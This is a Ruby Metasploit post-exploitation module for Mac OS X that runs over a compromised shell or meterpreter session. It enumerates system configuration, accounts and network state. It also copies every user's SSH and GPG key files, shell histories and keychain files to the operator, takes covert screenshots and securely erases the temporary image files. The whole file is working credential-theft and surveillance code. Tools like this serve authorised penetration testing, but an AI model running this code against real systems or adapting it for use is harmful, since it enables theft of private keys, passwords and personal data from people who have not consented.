## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'OS X Gather Mac OS X System Information Enumeration', 'Description' => %q{ This module gathers basic system information from Mac OS X Tiger, Leopard, Snow Leopard and Lion systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => [ 'osx' ], 'SessionTypes' => [ "meterpreter", "shell" ] )) end # Run Method for when run command is issued def run case session.type when /meterpreter/ host = sysinfo["Computer"] when /shell/ host = cmd_exec("hostname").chomp end print_status("Running module against #{host}") running_root = check_root if running_root print_status("This session is running as root!") end ver_num = get_ver log_folder = log_folder_create enum_conf(log_folder) enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) dump_bash_history(log_folder) get_keychains(log_folder) end #parse the dslocal plist in lion def read_ds_xml_plist(plist_content) require "rexml/document" doc = REXML::Document.new(plist_content) keys = [] doc.elements.each("plist/dict/key") do |element| keys << element.text end fields = {} i = 0 doc.elements.each("plist/dict/array") do |element| data = [] fields[keys[i]] = data element.each_element("*") do |thing| data_set = thing.text if data_set data << data_set.gsub("\n\t\t","") else data << data_set end end i+=1 end return fields end # Function for creating the folder for gathered data def log_folder_create(log_path = nil) #Get hostname case session.type when /meterpreter/ host = Rex::FileUtils.clean_path(sysinfo['Computer']) when /shell/ host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp) end # Create Filename info to be appended to downloaded files file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info ) else logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info ) end # Create the log directory ::FileUtils.mkdir_p(logs) return logs end # Checks if running as root on the target def check_root # Get only the account ID case session.type when /shell/ id = cmd_exec("/usr/bin/id -ru").chomp when /meterpreter/ id = cmd_exec("/usr/bin/id", "-ru").chomp end if id == "0" return true else return false end end # Checks if the target is OSX Server def check_server # Get the OS Name case session.type when /meterpreter/ osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp when /shell/ osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp end return osx_ver =~/Server/ end # Enumerate the OS Version def get_ver # Get the OS Version case session.type when /meterpreter/ osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp when /shell/ osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp end return osx_ver_num end def enum_conf(log_folder) profile_datatypes = { 'OS' => 'SPSoftwareDataType', 'Network' => 'SPNetworkDataType', 'Bluetooth' => 'SPBluetoothDataType', 'Ethernet' => 'SPEthernetDataType', 'Printers' => 'SPPrintersDataType', 'USB' => 'SPUSBDataType', 'Airport' => 'SPAirPortDataType', 'Firewall' => 'SPFirewallDataType', 'Known Networks' => 'SPNetworkLocationDataType', 'Applications' => 'SPApplicationsDataType', 'Development Tools' => 'SPDeveloperToolsDataType', 'Frameworks' => 'SPFrameworksDataType', 'Logs' => 'SPLogsDataType', 'Preference Panes' => 'SPPrefPaneDataType', 'StartUp' => 'SPStartupItemDataType' } shell_commands = { 'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'], 'UDP Connections' => ['/usr/sbin/netstat', '-np udp'], 'Environment Variables' => ['/usr/bin/printenv', ''], 'Last Boottime' => ['/usr/bin/who', '-b'], 'Current Activity' => ['/usr/bin/who', ''], 'Process List' => ['/bin/ps', '-ea'] } print_status("Saving all data to #{log_folder}") # Enumerate first using System Profiler profile_datatypes.each do |name, profile_datatypes| print_status("\tEnumerating #{name}") # Run commands according to the session type if session.type =~ /meterpreter/ returned_data = cmd_exec('system_profiler', profile_datatypes) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) elsif session.type =~ /shell/ begin returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) rescue end end end # Enumerate using system commands shell_commands.each do |name, command| print_status("\tEnumerating #{name}") # Run commands according to the session type begin if session.type =~ /meterpreter/ command_output = cmd_exec(command[0],command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) elsif session.type =~ /shell/ command_output = cmd_exec(command[0], command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) end rescue print_error("failed to run #{name}") end end end def enum_accounts(log_folder,ver_num) # Specific commands for Leopard and Snow Leopard leopard_commands = { 'Users' => ['/usr/bin/dscacheutil', '-q user'], 'Groups' => ['/usr/bin/dscacheutil', '-q group'] } # Specific commands for Tiger tiger_commands = { 'Users' => ['/usr/sbin/lookupd', '-q user'], 'Groups' => ['/usr/sbin/lookupd', '-q group'] } if ver_num =~ /10\.(7|6|5)/ shell_commands = leopard_commands else shell_commands = tiger_commands end shell_commands.each do |name, command| print_status("\tEnumerating #{name}") # Run commands according to the session type if session.type =~ /meterpreter/ command_output = cmd_exec(command[0], command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt", command_output) elsif session.type =~ /shell/ command_output = cmd_exec(command.join(' '), 15) # Save data lo log folder file_local_write(log_folder + "//#{name}.txt", command_output) end end end # Method for getting SSH and GPG Keys def get_crypto_keys(log_folder) # Run commands according to the session type if session.type =~ /shell/ # Enumerate and retreave files according to privilege level if not check_root # Enumerate the home folder content home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") # Check for SSH folder and extract keys if found if home_folder_list.include?("\.ssh") print_status(".ssh Folder is present") ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end # Check for GPG and extract keys if found if home_folder_list.include?("\.gnupg") print_status(".gnupg Folder is present") gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ") gnugpg_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{name}", gpg_file_content) end end else users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users") when /shell/ users_folder = cmd_exec("/bin/ls /Users") end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end users.each do |u| user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".ssh Folder is present for #{u}") ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end end users.each do |u| user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") if user_folder.include?("\.ssh") print_status(".gnupg Folder is present for #{u}") ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}") # Save data lo log folder file_local_write(log_folder+"//#{name}",ssh_file_content) end end end end end end # Method for capturing screenshot of targets def screenshot(log_folder, ver_num) if ver_num =~ /10\.(7|6|5)/ print_status("Capturing screenshot") picture_name = ::Time.now.strftime("%Y%m%d.%M%S") if check_root print_status("Capturing screenshot for each loginwindow process since privilege is root") if session.type =~ /shell/ loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n") loginwindow_pids.each do |pid| print_status("\tCapturing for PID:#{pid}") cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg") file_local_write(log_folder + "//screenshot_#{pid}.jpg", cmd_exec("/bin/cat /tmp/#{pid}.jpg")) cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg") end end else # Run commands according to the session type if session.type =~ /shell/ cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") file_local_write(log_folder+"//screenshot.jpg", cmd_exec("/bin/cat /tmp/#{picture_name}.jpg")) cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg") end end print_status("Screenshot Captured") end end def dump_bash_history(log_folder) print_status("Extracting history files") # Run commands according to the session type users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users").chomp current_user = cmd_exec("/usr/bin/id","-nu").chomp when /shell/ users_folder = cmd_exec("/bin/ls /Users").chomp current_user = cmd_exec("/usr/bin/id -nu").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end # If we are root lets get root for when sudo was used and all users if current_user == "root" # Check the root user folder root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") root_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for root") print_status("\tDownloading #{f.strip}") sh_file = cmd_exec("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file) end end # Getting the history files for all users users.each do |u| # Lets get a list of all the files on the users folder and place them in an array user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{u}") print_status("\tDownloading #{f.strip}") sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file) end end end else current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") current_user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{current_user}") print_status("\tDownloading #{f.strip}") sh_file = cmd_exec("/bin/cat ~/#{f.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file) end end end end # Download configured Keychains def get_keychains(log_folder) users = [] case session.type when /meterpreter/ users_folder = cmd_exec("/bin/ls","/Users").chomp when /shell/ users_folder = cmd_exec("/bin/ls /Users").chomp end users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end if check_root users.each do |u| print_status("Enumerating and Downloading keychains for #{u}") keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n") keychain_files.each do |k| keychain_file = cmd_exec("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file) end end else current_user = cmd_exec("/usr/bin/id -nu").chomp print_status("Enumerating and Downloading keychains for #{current_user}") keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n") keychain_files.each do |k| keychain_file = cmd_exec("/bin/cat #{k.strip}") # Save data lo log folder file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file) end end end end